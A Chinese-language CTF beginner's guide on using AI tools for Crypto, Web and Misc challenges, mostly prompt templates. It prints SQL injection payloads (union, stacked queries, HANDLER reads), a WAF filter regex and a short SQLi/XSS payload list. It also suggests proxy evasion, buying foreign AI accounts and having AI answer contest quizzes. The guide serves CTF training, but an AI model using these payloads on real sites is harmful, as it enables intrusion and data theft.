Cursor（需翻墙）\n官网：https://cursor.com/cn\n简介：基于VSCode的AI编程IDE，内置Claude/GPT\n特点：\n可以直接在代码中调用AI 支持全项目上下文分析 写Exploit脚本特别方便 缺点：需要翻墙 + 付费才能发挥全部功能\n适用场景：写复杂的Pwn/Crypto脚本 2. 豆包Trae\n官网：https://www.trae.cn/\n简介：字节跳动出品的AI编程IDE\n特点：\n无需科学上网，国内直接用 界面类似Cursor 免费额度充足 缺点：AI能力不如Cursor（背后是豆包模型，也可以换其他模型）\n3. 通义灵码（VSCode插件）\n官网：https://lingma.aliyun.com/lingma/download\n简介：阿里出品，可以装在VSCode/JetBrains里\n特点：\n直接集成到你熟悉的编辑器 代码补全 + AI对话 免费且稳定 使用方法：\nVSCode中搜索\u0026quot;通义灵码\u0026quot;插件 安装后登录阿里账号 在代码中按快捷键调用AI 适用场景：习惯用VSCode的选手 🖥️ 多模型整合客户端 Cherry AI（桌面客户端）\n官网：https://www.cherry-ai.com/\n简介：一款整合多个AI的桌面客户端\n支持平台：Windows / macOS / Linux\n核心功能：\n一个客户端管理所有AI（Claude/GPT/Gemini/国产模型） 可以同时对比多个AI的回答 支持自定义API Key 适用场景：\n需要频繁切换不同AI的选手 想要对比多个AI答案的场景 本地管理对话记录 使用建议：\n新手：先用网页版熟悉各AI特点 进阶：装个通义灵码在VSCode里写脚本 高阶：Cursor + Cherry AI 组合拳 通义千问 + 夸克插件配置（速通理论题神器） 为什么要用夸克插件？ 传统方式：看题 → 复制 → 切换到AI → 粘贴 → 等答案 → 复制答案 → 切回题目 夸克插件：\u0026#34;问AI\u0026#34; → AI自动抓取题目内容 → 秒出答案 配置步骤 Step 1：安装夸克浏览器\n官网下载：https://quark.cn/ （电脑版/手机版都有） 或使用夸克浏览器扩展（Chrome/Edge可装） Step 2：登录账号\n在夸克浏览器登录 Step 3：启用AI助手\n浏览器右上角会出现AI图标 Step 4：实战使用\n1. 打开CTF题目页面 2. 打开AI网页插件 3. 对话框输入“识别题目并答题，只要答案，不要解析” 4. 侧边栏弹出答案 5. 直接点选答案提交 效率对比：\n没插件：每题需要30秒切换操作 有插件：每题平均只需5秒 20道理论题能省下8分钟！ 常见注册问题排查 国际平台问题 Q1：Claude/ChatGPT 提示\u0026quot;不在服务区域\u0026quot;？\n原因：IP被识别为中国 解决： ✅ 切换代理节点（换美国/日本） ✅ 使用无痕模式清除Cookie ✅ 换个浏览器试试 Q2：验证码收不到？\n原因：邮箱被拦截或网络问题 解决： ✅ 检查Gmail的垃圾邮件箱 ✅ 等待5-10分钟再试 ✅ 换个邮箱重新注册 Q3：信用卡支付失败？\n原因：国内信用卡被拒 解决： ✅ Claude/GPT → 去某宝买账号 ✅ Gemini → 可以用Visa外币卡 ✅ 或者使用虚拟信用卡服务 国内平台问题 Q4：手机号收不到验证码？\n原因：运营商拦截或短信延迟 解决： ✅ 换个时间段再试（避开高峰期） ✅ 联系客服人工发送 ✅ 使用备用登录方式（微信/淘宝） Q5：DeepSeek一直转圈登不上？\n原因：服务器崩了（高峰期常见） 解决： ✅ 直接用元宝代替（套壳版更稳定） ✅ 或者等10-30分钟再试 注册完成后的检查清单 ✅ 国际平台（至少1个） □ Claude账号能登录 □ ChatGPT能正常对话（或已购买Plus） □ Gemini可以访问 ✅ 国内平台（至少2个） □ 元宝/DeepSeek能用 □ 通义千问已注册 □ 夸克插件已配置 ✅ 工具类（可选） □ 装了通义灵码/Cursor □ Cherry AI客户端下载好 ✅ 备用方案 □ 记录好所有账号密码 □ 多个节点备用 □ 某宝店铺收藏夹（万一需要续费） 新手避坑指南 ❌ 不要做的事：\n❌ 不要在某宝买\u0026#34;永久账号\u0026#34;（没有永久这回事） ❌ 不要把所有鸡蛋放一个篮子（至少准备2个平台） ❌ 不要在代购的账号里存重要信息（随时可能被封） ❌ 不要使用免费的\u0026#34;共享账号\u0026#34;（卡到怀疑人生） ✅ 应该做的事：\n✅ 比赛前一天测试所有平台能否正常使用 ✅ 准备好备用邮箱和手机号（防止需要重新注册） ✅ 国际+国内平台各准备至少1个 ✅ 把账号密码记录在安全的地方 ✅ 如果比赛限制外网链接，应该考虑搭建本地ollama 小贴士：\n注册账号最好在比赛前3天完成，留出时间解决突发问题 如果有队友，可以分工注册不同平台，资源共享 Claude的逆向能力真的值得你折腾翻墙和付费 国内平台免费够用，不要被\u0026quot;升级会员\u0026quot;的弹窗骗了 三、实操突破：AI辅助解题实战 比赛开局黄金策略 第一步：抢签到题（0-5分钟） 什么是签到题？\n签到题 = 送分题 = 团队士气题 通常形式： - 填写问卷后直接给flag - 明文flag藏在页面源码里 - 简单到\u0026#34;看一眼就知道答案\u0026#34;的题目 典型flag格式：\nflag{CTFwelcomeU} flag{Welcome_to_XX_CTF_2024} flag{Hello_World} ⚠️ 重要提醒：\n签到题留给团队新手做！ ✅ 让新手有参与感，建立信心 ✅ 大佬节省时间去攻坚难题 ❌ 不要和小弟抢这点蚊子腿 第二步：新手优先攻克方向（5-60分钟） 推荐顺序：Crypto → Web → Misc\n为什么这个顺序？\nCrypto入门题：通常是编码转换，AI秒解 Web基础题：SQL注入、XSS等有套路，AI能快速生成payload Misc简单题：图片隐写、文件分析，AI可以提供思路 ❌ 新手暂时避开的方向：\nReverse：需要看懂汇编/反编译代码，门槛高 Pwn：需要理解内存布局和漏洞原理，最难 Crypto方向：从零到一的AI辅助指南 为什么Crypto适合新手入门？ ✅ 很多题目就是\u0026#34;编码识别+转换\u0026#34; ✅ AI擅长识别编码格式 ✅ AI可以秒写解密脚本 ✅ 即使不懂原理，AI也能帮你解出来 实战案例1：变异凯撒密码（BUUCTF） 题目链接： https://buuoj.cn/challenges#变异凯撒\nStep 1：分析题目 下载附件后，看到一串密文：\nafZ_r9VYfScOeO_UL^RWUc 新手疑问：\n这是什么加密？ 怎么解密？ 需要什么工具？ 别慌，AI可以全包了！\nStep 2：向AI提问（推荐使用Claude或千问） 提问模板（直接复制用）：\n我在做CTF的Crypto题，遇到一段密文： afZ_r9VYfScOeO_UL^RWUc 题目提示是\u0026#34;变异凯撒\u0026#34;，但我不知道具体是什么加密方式。 请帮我： 1. 分析这可能是什么加密 2. 提供解密思路 3. 写一个Python脚本帮我解密 Step 3：AI的回答（Gemini示例） 这是一个非常经典的 CTF Crypto 入门题。所谓的“变异凯撒”，通常是指凯撒密码的偏移量（Key）不是固定的，而是随着字符位置的变化而递增。\n我们可以通过已知信息（Flag 的常见格式 flag{...}）来进行“已知明文攻击”推导规律。\n1. 分析加密逻辑 通常 CTF 的 Flag 格式为 flag{xxx}。我们将密文的前几位与 flag{ 进行 ASCII 码对比，寻找规律：\n第 0 位：\n密文：a (ASCII: 97)\n明文：f (ASCII: 102)\n差值：\n第 1 位：\n密文：f (ASCII: 102)\n明文：l (ASCII: 108)\n差值：\n第 2 位：\n密文：Z (ASCII: 90)\n明文：a (ASCII: 97)\n差值：\n第 3 位：\n密文：_ (ASCII: 95)\n明文：g (ASCII: 103)\n差值：\n第 4 位：\n密文：r (ASCII: 114)\n明文：{ (ASCII: 123)\n差值：\n结论： 可以看出规律是偏移量从 5 开始，每向后一位，偏移量就加 1。 公式为：$明文ASCII = 密文ASCII + 5 + 当前索引(index)$\n2. Python 解密脚本 根据上述分析，我为你编写了对应的解密脚本：\n1# 密文 2ciphertext = \u0026#34;afZ_r9VYfScOeO_UL^RWUc\u0026#34; 3 4# 用于存储解密后的结果 5flag = \u0026#34;\u0026#34; 6 7# 遍历密文，enumerate 可以同时获取索引(index)和字符(char) 8for index, char in enumerate(ciphertext): 9 # 原始逻辑：ASCII码 + 初始偏移5 + 当前位置索引 10 # ord() 将字符转为ASCII数字 11 # chr() 将数字转回字符 12 original_ascii = ord(char) + 5 + index 13 flag += chr(original_ascii) 14 15print(f\u0026#34;解密结果: {flag}\u0026#34;) 3. 运行结果 运行脚本后，你将得到：\nflag{Caesar_variation}\n千问的回答\nCrypto方向的AI提问万能模板 模板1：编码识别类 我在做CTF Crypto题，遇到这样的字符串： 【粘贴密文】 题目提示：【如果有就写，没有就说\u0026#34;无提示\u0026#34;】 请帮我： 1. 判断可能是什么编码/加密方式 2. 给出解码思路 3. 提供Python解密脚本 4. 如果是多层编码，帮我递归解密 模板2：古典密码类 我遇到一道Crypto题： 密文：【粘贴密文】 题目标题：【比如\u0026#34;栅栏密码\u0026#34;、\u0026#34;培根密码\u0026#34;】 我不太懂这个加密原理，请： 1. 简单解释这个加密算法 2. 给出解密步骤 3. 写一个暴力破解脚本（如果需要的话） 模板3：数学类密码（RSA等） 我遇到一道RSA题目，附件给了： n = 【大整数】 e = 【公钥指数】 c = 【密文】 请帮我： 1. 判断这是什么类型的RSA题（小指数？共模攻击？） 2. 提供攻击思路 3. 写完整的解密脚本（包含必要的库安装命令） AI解Crypto的常见套路 套路1：编码识别链 遇到密文 → 问AI识别 → 逐层解码 常见编码顺序： Hex → Base64 → Base32 → URL编码 → ... AI提问：\n这个密文可能经过多层编码： 【密文】 请帮我写一个脚本，尝试常见编码的排列组合 套路2：古典密码暴力破解 遇到古典密码 → 让AI写暴力脚本 → 跑出所有可能性 → 人工筛选 AI提问：\n请写一个脚本，对这段密文进行【凯撒/栅栏/维吉尼亚】暴力破解 并自动识别其中包含\u0026#34;flag\u0026#34;关键字的结果 套路3：在线工具 + AI辅助 使用在线工具解密 → 遇到问题 → 问AI怎么用工具 推荐在线工具：\nCyberChef：https://gchq.github.io/CyberChef/ CTF工具箱：http://ctf.ssleye.com/ AI提问：\n我在用CyberChef解密，但不知道该选什么操作 密文特征：【描述特征】 应该用哪个Recipe？ Crypto新手避坑指南 ❌ 常见错误 错误1：直接问\u0026quot;这是什么加密\u0026quot;\n❌ 太笼统，AI无法准确判断 ✅ 提供完整密文、题目提示、字符特征 错误2：AI给的脚本直接复制就跑\n❌ 可能缺依赖库、路径不对 ✅ 先看懂脚本逻辑，确认库已安装 错误3：一个AI说不行就放弃\n❌ AI也会出错或理解偏差 ✅ 换个AI试试（Claude、千问、元宝轮流问） ✅ 高效技巧 技巧1：边做边学\n做完题后问AI： \u0026#34;刚才这道题用的【凯撒密码】是什么原理？ 给我讲讲，下次遇到我能自己判断\u0026#34; 技巧2：建立自己的Crypto工具箱\n把AI生成的好用脚本保存下来 建立一个GitHub仓库分类存放： - crypto_tools/ - caesar.py - base64_multi.py - rsa_attack.py 技巧3：利用AI学习密码学\n不懂的概念立刻问AI： \u0026#34;什么是RSA的公钥和私钥？\u0026#34; \u0026#34;维吉尼亚密码和凯撒密码有什么区别？\u0026#34; Crypto方向总结 新手上手难度： ⭐⭐ (5星最难)\nAI帮助程度： ⭐⭐⭐⭐⭐ (AI几乎可以全包)\n学习路径：\n第1天：编码识别（Hex、Base64、Base32） 第2-3天：古典密码（凯撒、栅栏、维吉尼亚） 第4-5天：现代密码（RSA基础、AES） 第6-7天：数学攻击（费马分解、共模攻击） AI使用建议：\n✅ 编码识别 → AI判断 + 写脚本 ✅ 古典密码 → AI写暴力破解 ✅ 数学密码 → AI讲原理 + 生成攻击代码 ✅ 不懂的概念 → 随时问AI 小贴士：\nCrypto题目通常在30分钟内能解决（如果AI用得好） 遇到卡壳超过10分钟，立刻换个AI重新问 别纠结原理，先拿分再说，原理赛后慢慢学 记得在WriteUp里附上AI的对话记录（很多比赛要求） Web方向：从基础漏洞到代码审计 为什么Web方向适合新手？ ✅ 漏洞类型相对固定（SQL注入、XSS、文件上传等） ✅ 有大量在线靶场可以练习 ✅ AI可以生成各种绕过Payload ✅ 浏览器就是你的调试工具 ✅ 即使不懂原理，跟着AI的思路也能解题 Web方向的常见题型 入门级： - SQL注入（最常见） - XSS跨站脚本 - 命令执行 - 文件包含 进阶级： - PHP反序列化 - SSRF服务端请求伪造 - XXE外部实体注入 - JWT伪造 高级： - Python/Java代码审计 - 逻辑漏洞挖掘 - 复杂的过滤绕过 实战案例：SQL注入从入门到Bypass 场景：BUUCTF - [强网杯 2019]随便注 题目链接： https://buuoj.cn/challenges#[强网杯2019]随便注\nStep 1：初步侦察 打开题目，看到一个简单的查询页面，随便输入个1试试\n尝试SQL注入测试：\n输入：1\u0026#39; 返回：SQL语法错误（说明存在注入点！） Step 2：向AI求助（初级提问） 新手提问模板：\n我在做CTF的Web题，发现一个SQL注入点： 测试情况： Burp抓包的Get请求和Response包直接粘贴 题目标题是\u0026#34;随便注\u0026#34;，请帮我： 1. 判断这是什么类型的注入（数字型/字符型） 2. 提供基础的注入Payload 3. 如何查询数据库名、表名、字段名 Step 3：AI给出基础攻击步骤 Gemini的回答：\n这是典型的字符型SQL注入，基础攻击流程： 1. 判断列数（使用order by） 输入：1\u0026#39; order by 3--+ 如果正常，说明至少有3列，继续增加数字直到报错 2. 确定回显位置（使用union select） 输入：1\u0026#39; union select 1,2,3--+ 看哪个数字显示在页面上 3. 查询数据库信息 输入：1\u0026#39;; show databases; # 4. 查询表名 输入：1\u0026#39;; show tables; # 5. 查询列名 输入：1\u0026#39;; show columns from `1919810931114514`; # 6. 获取数据 输入：1\u0026#39;; HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE; # Step 4：遇到过滤怎么办？（进阶） 到绕WAF这一步的千问基本是在已读乱回了\n实际操作时发现：\n输入：1\u0026#39; union select 1,2,3--+ 返回：return preg_match(\u0026#34;/select|update|delete|drop|insert|where|\\./i\u0026#34;,$inject); 关键词被过滤了！这时候就是AI的主场了。\nAI绕过提问模板 高级提问（提供完整过滤信息）：\n我在做SQL注入题，但遇到了WAF拦截： 已知被过滤的关键词： - select 被拦截 - union 被拦截 - information_schema 被拦截 - 空格被过滤 但是： - 单引号 \u0026#39; 没被过滤 - 双写关键词（selselectect）不行 - 注释符 --+ 可以用 请帮我生成绕过Payload，目标是： 1. 绕过select过滤 2. 绕过union过滤 3. 绕过空格过滤 4. 最终读取flag Web方向的AI万能提问模板 模板1：发现漏洞但不知道怎么利用 我在做CTF Web题，发现了【SQL注入/XSS/文件上传】漏洞： 漏洞位置：【具体URL或参数】 已测试结果： - 【payload1】 → 【结果1】 - 【payload2】 → 【结果2】 已知限制： - 【过滤规则1】 - 【过滤规则2】 目标：【获取flag/getshell/读取文件】 请帮我： 1. 分析可能的绕过方式 2. 提供完整的Exploit代码 3. 如果需要工具，告诉我怎么用 模板2：代码审计 我需要审计这段【PHP/Python/Java】代码，找出安全漏洞： 【粘贴代码】 代码功能：【简单描述】 题目提示：【如果有】 请帮我： 1. 列出所有可能的漏洞点 2. 按严重程度排序 3. 提供每个漏洞的利用方法 4. 如果能直接getshell，给出完整攻击链 模板3：遇到WAF不知道怎么绕 我在测试【SQL注入/XSS/命令执行】，但被WAF拦截： 测试情况： - 【正常payload】 → 被拦截，提示：【错误信息】 - 【尝试的绕过1】 → 还是被拦 - 【尝试的绕过2】 → 依然拦截 已知信息： - 使用的WAF：【如果知道】 - 后端语言：【PHP/Python/Java】 - 数据库类型：【MySQL/MSSQL/PostgreSQL】 请给我至少5种不同的绕过思路，并解释原理 模板4：Burp Suite使用问题 我在用Burp Suite做【重放攻击/爆破/抓包】： 操作步骤： 1. 【你的操作】 2. 【遇到的问题】 期望结果：【想实现什么】 实际结果：【发生了什么】 请告诉我： 1. 哪一步操作错了 2. 正确的操作流程 3. 有没有更简单的方法 Web方向实用工具链（AI推荐） 必备浏览器插件 ✅ HackBar：快速测试SQL注入、XSS ✅ Wappalyzer：识别网站技术栈 ✅ EditThisCookie：手动修改Cookie ✅ ModHeader：修改HTTP请求头 ✅ Proxy SwitchyOmega：快速切换代理 AI辅助使用：\n问AI：\u0026#34;HackBar怎么用来测试SQL注入？给我个例子\u0026#34; 问AI：\u0026#34;这个网站用的是什么框架？【粘贴Wappalyzer识别结果】有什么常见漏洞？\u0026#34; 抓包工具选择 工具 优势 劣势 AI配合 Burp Suite 功能最强大 重量级 让AI写Burp插件、解释抓包内容 mitmproxy 轻量级、可编程 命令行 让AI写mitm脚本自动化 Fiddler 界面友好 Windows为主 让AI教你用Fiddler规则 在线工具推荐 SQL注入：sqlmap（让AI教你怎么用） XSS测试：https://xsshunter.com/（自动接收XSS回显） 编码转换：CyberChef（配合AI识别编码） Payload生成：https://portswigger.net/web-security（Burp官方靶场） Web方向新手避坑指南 ❌ 常见错误 错误1：看到输入框就测试XSS\n❌ 盲目测试，浪费时间 ✅ 先观察页面行为，问AI：\u0026#34;这种场景可能是什么漏洞？\u0026#34; 错误2：SQL注入只会用sqlmap\n❌ 工具依赖，遇到WAF就傻眼 ✅ 让AI教你手工注入原理，工具只是辅助 错误3：Burp抓包不看请求响应\n❌ 只会点重放，不分析数据 ✅ 把关键请求粘贴给AI：\u0026#34;帮我分析这个请求哪里可能有问题\u0026#34; 错误4：代码审计只看表面\n❌ 看一眼代码觉得没问题 ✅ 完整粘贴给AI：\u0026#34;深度审计这段代码，包括逻辑漏洞\u0026#34; ✅ 高效技巧 技巧1：构建自己的Payload库\n1# payloads.py - 让AI帮你生成 2SQL_INJECTION = [ 3 \u0026#34;\u0026#39; or 1=1--+\u0026#34;, 4 \u0026#34;\u0026#39; union select 1,2,3--+\u0026#34;, 5 # ...让AI补充100个常见payload 6] 7 8XSS_PAYLOADS = [ 9 \u0026#34;\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u0026#34;, 10 \u0026#34;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u0026#34;, 11 # ...让AI补充各种绕过 12] 技巧2：让AI生成自动化脚本\n问AI：\u0026#34;帮我写一个脚本，自动测试这个URL的所有参数是否存在SQL注入\u0026#34; 问AI：\u0026#34;写一个脚本，批量测试XSS payload并记录成功的\u0026#34; 技巧3：AI辅助学习漏洞原理\n做完题立刻问AI： \u0026#34;刚才这道题为什么【过滤不严格/逻辑有问题】？ 从原理上讲讲，下次我怎么自己发现这种漏洞\u0026#34; 技巧4：交叉验证AI的答案\nClaude说这样利用 → 问千问确认 → 再问元宝有没有其他思路 多个AI说法一致 → 可信度高 AI之间有分歧 → 都试试，可能有新发现 Web方向总结 新手上手难度： ⭐⭐⭐ (5星最难)\nAI帮助程度： ⭐⭐⭐⭐⭐ (非常适合AI辅助)\n学习路径：\n第1-2天：SQL注入（从基础到绕过） 第3-4天：XSS（反射型、存储型、DOM型） 第5-6天：文件上传（各种绕过技巧） 第7天：PHP代码审计入门 AI使用建议：\n✅ 漏洞发现 → AI分析原理 ✅ 遇到过滤 → AI生成绕过payload ✅ 代码审计 → AI深度分析 ✅ 工具使用 → AI当教练 ✅ 学习原理 → AI当老师 提分技巧：\n1. 前30分钟：用AI快速解决简单SQL注入/XSS 2. 30-60分钟：AI辅助代码审计，找复杂漏洞 3. 遇到卡点：立刻问AI，不要死磕超过10分钟 4. WriteUp：记录AI对话，很多比赛要求附上 小贴士：\nWeb题目通常占比最大，值得多花时间 熟练使用Burp Suite + AI = 效率翻倍 不要害怕代码审计，AI可以帮你找到90%的漏洞 记得在浏览器开发者工具里看Network和Console，经常有惊喜 Misc方向：万物皆可AI的杂项题库 为什么Misc方向适合AI辅助？ ✅ 题型最杂：图片、音频、视频、流量包、压缩包...什么都有 ✅ 工具最多：每种题型都有专门工具，AI能告诉你用什么 ✅ 思路最重要：Misc考的是\u0026#34;想到\u0026#34;而不是\u0026#34;会做\u0026#34; ✅ AI最擅长：识别编码、推荐工具、生成脚本 ✅ 新手友好：很多Misc题比Web/Pwn简单 Misc常见题型分类 文件分析类： - 图片隐写（LSB、盲水印、EXIF） - 音频隐写（频谱、波形、DTMF） - 视频隐写（帧提取、时间戳） - 压缩包（伪加密、爆破、CRC碰撞） 流量分析类： - 数据包分析（Wireshark） - 协议还原（HTTP/FTP/USB） - 加密流量解密 编码转换类： - 各种编码互转（Base系列、摩斯、栅栏） - 二维码/条形码 - 进制转换 取证类： - 内存取证（Volatility） - 磁盘取证（文件恢复） - 日志分析 其他： - OSINT（开源情报） - 区块链题 - IoT设备分析 万能提问模板：题型识别 模板1：不知道是什么题型 我在做CTF Misc题，下载了一个文件但不知道是什么： 文件信息： - 文件名：【xxx.png / mystery.dat / flag.zip】 - 文件大小：【123KB】 - file命令结果：【如果跑了就粘贴】 - 题目标题：【如果有提示】 - 题目描述：【完整复制】 附件我用【binwalk/strings/exiftool】看过，发现： 【粘贴观察结果，或者说\u0026#34;没发现特别的\u0026#34;】 请帮我： 1. 判断这可能是什么类型的Misc题 2. 推荐应该用什么工具分析 3. 给出具体的操作步骤 4. 如果需要写脚本，请提供完整代码 模板2：知道题型但不会做 我确定这是一道【图片隐写/流量分析/压缩包】题： 已知信息： - 【具体文件信息】 - 【已经尝试的方法】 - 【遇到的问题】 请提供： 1. 这类题的常见套路（至少3种） 2. 每种套路对应的工具和命令 3. 如果能写脚本自动化，请给我代码 图片隐写方向提问技巧 基础分析提问 我拿到一张图片（xxx.png），需要分析是否有隐写： 基础信息： - 格式：PNG/JPG/BMP - 大小：【文件大小】 - 分辨率：【宽x高】 已执行命令： 1. file xxx.png → 【结果】 2. strings xxx.png → 【有没有可疑字符串】 3. exiftool xxx.png → 【EXIF信息】 请告诉我： 1. 应该用什么工具进一步分析（StegSolve/zsteg/Stegseek等） 2. 每个工具的具体使用命令 3. PNG/JPG常见的隐写方式有哪些 4. 如果需要写脚本提取数据，请提供代码 LSB隐写提问 我怀疑这张图片用了LSB隐写： 图片信息：【格式/大小】 StegSolve打开后发现： - Red/Green/Blue plane 0 看起来有噪点 - Data Extract显示【描述看到的内容】 请帮我： 1. 写一个Python脚本提取LSB隐藏的数据 2. 如果提取出来是乱码，可能还需要什么操作 3. 给我详细的使用步骤 盲水印提问 题目提示是\u0026#34;盲水印\u0026#34;，我有两张图： - 原图：original.png - 水印图：watermark.png 已知信息： - 两张图尺寸相同 - 肉眼看不出差别 请提供： 1. 盲水印的常见算法（频域/空域） 2. 提取盲水印的工具和命令 3. 如果需要写脚本，请用Python+OpenCV实现 音频隐写方向提问技巧 频谱分析提问 我拿到一个音频文件（audio.wav）： 基础信息： - 格式：WAV/MP3 - 时长：【X秒】 - 题目提示：【如果有】 我用Audacity打开后： - 波形图看起来【正常/异常】 - 频谱图显示【描述看到的内容】 请告诉我： 1. 音频隐写的常见方式有哪些 2. 除了Audacity还能用什么工具 3. 如果频谱图里有图案/文字，如何提取 4. DTMF音调、摩斯电码等怎么识别和解码 DTMF解码提问 这个音频听起来像电话按键音（DTMF）： 音频文件：dtmf.wav 我听到的音调大概是：【描述或说听不出来】 请帮我： 1. 推荐DTMF解码工具（在线/离线都可以） 2. 给我Python脚本自动识别DTMF音调 3. 解码出来的数字可能是什么（ASCII/手机按键编码/其他） 压缩包方向提问技巧 伪加密提问 我有一个加密的ZIP文件： 文件名：flag.zip 现象： - 解压时提示需要密码 - 但是用【7zip/WinRAR】可以看到文件列表 怀疑是伪加密，请告诉我： 1. 如何判断是否为伪加密（看哪个字节） 2. 如何修改文件去掉伪加密 3. 给我一个Python脚本自动修复伪加密 4. 如果不是伪加密，有什么其他可能（明文攻击/CRC碰撞） 压缩包密码爆破提问 一个真正加密的ZIP，需要爆破密码： 已知信息： - 题目提示：【可能的密码规则，比如\u0026#34;6位纯数字\u0026#34;】 - 尝试过的密码：【123456/password等常见密码】 请提供： 1. 使用fcrackzip的完整命令 2. 如果是Windows，用什么工具（ARCHPR） 3. 自定义字典的生成方法 4. 如果题目给了密码提示，如何生成针对性字典 CRC32碰撞提问 ZIP里有个很小的文件（几个字节），但是加密了： 文件名：flag.txt CRC32值：【从压缩包属性里看到的，比如 0x12345678】 文件大小：【比如 4 bytes】 我知道这是CRC32碰撞攻击，请： 1. 解释原理（为什么小文件可以碰撞） 2. 给我Python脚本爆破出文件内容 3. 如果文件稍大（比如10 bytes），还能碰撞吗？ 流量分析方向提问技巧 Wireshark基础分析 我拿到一个流量包（traffic.pcapng）： 用Wireshark打开后发现： - 总共【X】个数据包 - 主要协议：HTTP/FTP/TCP/USB/其他 - 【描述观察到的异常，比如\u0026#34;有很多HTTP POST请求\u0026#34;】 题目提示：【如果有】 请帮我： 1. 分析这个流量包可能藏了什么信息 2. 给我Wireshark过滤器语法，筛选关键数据 3. 如何导出流量包中的文件（HTTP文件/FTP传输） 4. 如果需要用tshark或Python脚本分析，请给我代码 HTTP流量分析 流量包里有很多HTTP请求，我想提取其中的数据： 观察到的现象： - POST请求的数据看起来像Base64 - 某些响应包含可疑字符串 - Cookie/User-Agent字段有异常 请告诉我： 1. Wireshark如何追踪HTTP流（Follow HTTP Stream） 2. 如何批量导出所有HTTP对象 3. 写一个Python脚本解析pcap，提取所有POST数据 4. 如果数据经过编码，如何自动识别和解码 USB键盘流量分析 这个流量包是USB协议，我怀疑是键盘流量： 已知信息： - 协议类型：USB - Leftover Capture Data字段有数据 - 题目提示：【如果有】 请提供： 1. USB键盘流量的数据格式（哪个字节代表按键） 2. Wireshark过滤器，只显示键盘数据 3. Python脚本，将USB数据还原成按键记录 4. 键盘映射表（HID to ASCII） 编码转换方向提问技巧 多层编码识别 我遇到一串看不懂的字符串： 【粘贴字符串】 特征： - 长度：【X字符】 - 字符集：【只有数字/包含字母/有特殊符号】 - 可能的编码：【如果能猜出来就说，不确定就说\u0026#34;不知道\u0026#34;】 请帮我： 1. 识别这可能是什么编码（Base64/Hex/Binary/摩斯/其他） 2. 如果是多层编码，给我解码顺序 3. 提供一个Python脚本，自动尝试常见编码组合 4. 如果有部分解码出来但还是乱码，可能还需要什么处理 自动化编码识别脚本请求 我经常遇到各种编码转换的题，请帮我写一个万能脚本： 需求： 1. 输入一个字符串 2. 自动尝试常见编码（Base64/Base32/Hex/Binary/URL/HTML实体等） 3. 递归解码（如果解码结果还是编码格式，继续解） 4. 输出所有可能的解码结果 5. 如果某个结果包含\u0026#34;flag\u0026#34;关键字，高亮显示 请用Python实现，代码要详细注释 取证方向提问技巧 内存取证提问 我拿到一个内存镜像文件（memory.raw）： 文件大小：【X GB】 题目提示：【如果有，比如\u0026#34;找到管理员密码\u0026#34;】 我应该： 1. 用什么工具分析（Volatility 2/3） 2. 先执行哪些命令确定操作系统版本和Profile 3. 常见的内存取证命令有哪些（进程/网络连接/密码/文件） 4. 如何从内存中提取文件 5. 给我一个完整的Volatility分析流程 磁盘取证/文件恢复 我有一个磁盘镜像或者部分损坏的文件系统： 文件信息： - 格式：【.img / .vmdk / .raw】 - 大小：【X MB/GB】 - 题目提示：【比如\u0026#34;文件被删除了\u0026#34;】 请告诉我： 1. 用什么工具挂载/分析（Autopsy/FTK/Foremost） 2. 如何恢复已删除的文件 3. 如果是Linux/Windows镜像，如何提取特定文件 4. Foremost/Scalpel这些工具的使用方法 OSINT（开源情报）方向提问技巧 图片溯源提问 题目给了一张照片，需要找出拍摄地点/时间： 图片信息： - EXIF数据：【有/无GPS信息】 - 可见内容：【建筑/路牌/文字/其他特征】 - 题目提示：【如果有】 请告诉我： 1. 如何通过EXIF提取GPS坐标（工具/命令） 2. 如果没有GPS，如何通过图片特征搜索地点 3. 推荐的图片反向搜索工具（Google Images/TinEye/Yandex） 4. 如何根据建筑/路牌等特征缩小范围 社交媒体情报收集 题目要求根据某个线索找到特定信息： 已知信息： - 用户名/昵称：【xxx】 - 平台：【Twitter/GitHub/Instagram】 - 需要找的信息：【邮箱/真实姓名/位置】 请提供： 1. 该平台的信息收集技巧 2. 有什么自动化工具（Sherlock/社工库） 3. 如何找到用户的其他账号（同名搜索） 4. 注意事项（不要违反平台规则） Misc方向工具速查（让AI推荐使用） 提问模板：工具推荐 我需要处理【图片/音频/流量包/内存镜像】： 具体需求：【比如\u0026#34;提取图片LSB隐藏的数据\u0026#34;】 操作系统：【Windows/Linux/Mac】 有没有GUI要求：【需要图形界面/命令行都行】 请推荐： 1. 最适合的工具（名称+简介） 2. 工具的安装方法（命令/下载链接） 3. 针对我的需求，具体的使用命令 4. 如果这个工具搞不定，还有什么备选方案 常用工具分类（快速询问） 请列出CTF Misc方向的常用工具，按以下分类： 1. 图片隐写： 2. 音频分析： 3. 流量分析： 4. 压缩包处理： 5. 内存取证： 6. 文件恢复： 7. 编码转换： 8. 十六进制编辑器： 每个工具简要说明功能和典型使用场景 Misc快速解题策略 第一步：文件类型识别（1分钟） 问AI的标准流程：\n我拿到文件后，按顺序执行了： 1. file xxx → 【结果】 2. binwalk xxx → 【结果】 3. strings xxx | head -50 → 【结果】 4. exiftool xxx → 【结果】 基于这些信息，请分析： - 这是什么类型的题目 - 下一步应该做什么 - 推荐使用的工具 第二步：套路尝试（5-10分钟） 针对不同文件类型的快速提问：\n图片类：\n这是一张【PNG/JPG】图片，请列出5种常见的隐写方式， 以及对应的检测/提取命令，我要快速试一遍 音频类：\n这是音频文件，请给我一个快速检查清单： - Audacity频谱图看什么 - 是否为DTMF/摩斯电码的判断方法 - 其他音频隐写可能性 快速给我结论，不要长篇大论 压缩包类：\nZIP文件需要密码，快速判断： 1. 是否伪加密（给我检查命令） 2. 如果不是，密码位数大概多少（题目有提示吗） 3. 爆破命令（fcrackzip/ARCHPR） 4. 如果爆破太慢，有没有CRC碰撞可能 给我最快的解题路径 第三步：卡住了怎么办（超过10分钟没进展） 换个AI重新问：\n我在做Misc题，已经尝试了： 【列出所有尝试过的方法】 但是都没找到flag，可能的原因： 1. 我的方法不对？ 2. 提取出来的数据需要进一步处理？ 3. 题目有多个步骤，我只做了第一步？ 请帮我重新分析，给我新的思路 Misc方向的AI协作技巧 技巧1：让AI生成自动化工具箱 请帮我写一个CTF Misc工具集脚本（Python）： 功能需求： 1. 自动识别文件类型 2. 对不同类型执行对应的基础分析 - 图片 → binwalk + strings + exiftool - 音频 → 提取频谱图 - 压缩包 → 检查伪加密 - 流量包 → 统计协议分布 3. 输出分析报告和建议的下一步操作 4. 代码要模块化，方便我后续添加新功能 